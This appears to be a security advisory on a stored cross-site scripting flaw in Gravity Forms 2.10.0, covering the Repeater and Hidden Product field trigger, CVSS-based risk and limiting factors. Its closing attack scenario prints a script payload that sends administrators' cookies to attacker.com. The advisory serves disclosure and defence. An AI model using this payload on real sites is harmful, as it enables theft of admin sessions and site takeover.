Gravity Forms CVE-2026-5111

Vulnerability requires specific Gravity Forms configuration: forms must contain Hidden Product fields nested inside Repeater fields and be accessible for unauthenticated form submissions. Default Gravity Forms installations without this specific field combination are NOT vulnerable. Exploitation also requires administrators to actively view submitted entry details via the WordPress admin panel (Gravity Forms > Entries > View Entry) - stored payloads do not auto-execute on submission. Limiting factors: impact requires administrator interaction with malicious entries, payload executes only in admin context (not public-facing pages), and requires the specific repeater-nested-hidden-product field architecture which is not a default configuration. Sites using Gravity Forms purely for contact forms, surveys, or other simple forms without e-commerce Hidden Product fields are unaffected.

Real-world risk is MODERATE-HIGH despite the 7.2 CVSS score. The network attack vector (AV:N), low complexity (AC:L), and no authentication requirement (PR:N) make this trivially exploitable by any visitor to a site running vulnerable Gravity Forms with publicly accessible forms containing Repeater and Hidden Product fields. The Changed scope (S:C) indicates cross-context impact, as unauthenticated public users can inject code that executes in the privileged administrator session. However, several factors reduce immediate urgency: exploitation requires administrators to actively view entry details (not automatic execution), impact is limited to Low confidentiality and integrity (C:L/I:L) per CVSS, and no availability impact exists. CRITICAL MISSING DATA: EPSS exploitation probability not provided, KEV status unknown, and POC availability not confirmed. Without these signals, we cannot assess whether this is being actively targeted. The vulnerability class (stored XSS in admin context) is commonly exploited, but the specific trigger (repeater-nested hidden product fields) is a narrow configuration. Priority depends on whether your Gravity Forms implementation uses this specific field combination and whether forms are publicly accessible. Without EPSS/KEV confirmation, treat as defense-in-depth priority rather than emergency.

An attacker identifies a WordPress site running Gravity Forms 2.10.0 with a publicly accessible contact or order form containing a Repeater field with nested Hidden Product fields. The attacker crafts a form submission with JavaScript payload in the product name field, such as '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>'. Because repeater subfields bypass validation and the Hidden Product validate() method ignores the name field, this malicious payload is stored unescaped in the WordPress database. When a site administrator logs into WordPress and navigates to Gravity Forms > Entries to review submissions, the stored script executes in their browser session, potentially stealing admin session cookies, creating rogue admin accounts, or modifying site content. No public exploit code status confirmed at time of analysis.